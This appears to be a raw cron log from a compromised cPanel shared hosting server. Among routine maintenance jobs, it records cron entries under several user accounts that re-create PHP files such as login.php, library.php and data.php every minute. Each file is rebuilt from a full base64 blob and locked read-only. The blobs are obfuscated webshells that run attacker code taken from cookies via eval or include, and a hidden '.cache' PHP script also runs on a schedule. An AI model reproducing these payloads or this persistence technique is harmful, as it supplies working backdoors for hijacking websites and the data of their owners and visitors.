"$fp"; fi; chmod 444 "$fp")
Mar  1 16:50:01 medusa CROND[20956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:50:01 medusa CROND[20967]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:50:01 medusa CROND[21017]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:50:01 medusa CROND[21162]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:50:01 medusa CROND[21165]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:50:01 medusa CROND[21168]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:50:01 medusa CROND[21166]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 16:50:01 medusa CROND[21163]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:50:01 medusa CROND[21167]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 16:50:01 medusa CROND[21164]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 16:50:01 medusa CROND[21170]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:50:01 medusa CROND[21172]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:50:01 medusa CROND[21175]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:50:01 medusa CROND[21181]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:50:01 medusa CROND[21182]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 16:50:01 medusa CROND[21180]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:50:01 medusa CROND[21178]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:50:01 medusa CROND[21177]: (root) CMD (/usr/bin/kcarectl --auto-update )
Mar  1 16:50:01 medusa CROND[21196]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:50:01 medusa CROND[21192]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 16:50:01 medusa CROND[21184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:50:01 medusa CROND[21189]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:50:01 medusa CROND[21187]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 16:50:01 medusa CROND[21191]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 16:50:01 medusa CROND[21186]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:50:01 medusa CROND[21190]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 16:50:01 medusa CROND[21174]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:50:01 medusa CROND[21225]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:50:01 medusa CROND[21232]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:50:01 medusa CROND[21235]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 16:50:01 medusa CROND[21236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:51:01 medusa CROND[11010]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:51:01 medusa CROND[11013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:51:01 medusa CROND[11014]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:51:01 medusa CROND[11015]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:51:01 medusa CROND[11016]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:51:01 medusa CROND[11017]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:51:01 medusa CROND[11018]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:51:01 medusa CROND[11020]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:51:01 medusa CROND[11025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:51:01 medusa CROND[11022]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:51:01 medusa CROND[11029]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:51:01 medusa CROND[11031]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:51:01 medusa CROND[11027]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:51:01 medusa CROND[11030]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:51:01 medusa CROND[11021]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:52:01 medusa CROND[430]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:52:01 medusa CROND[434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:52:02 medusa CROND[609]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:52:02 medusa CROND[610]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
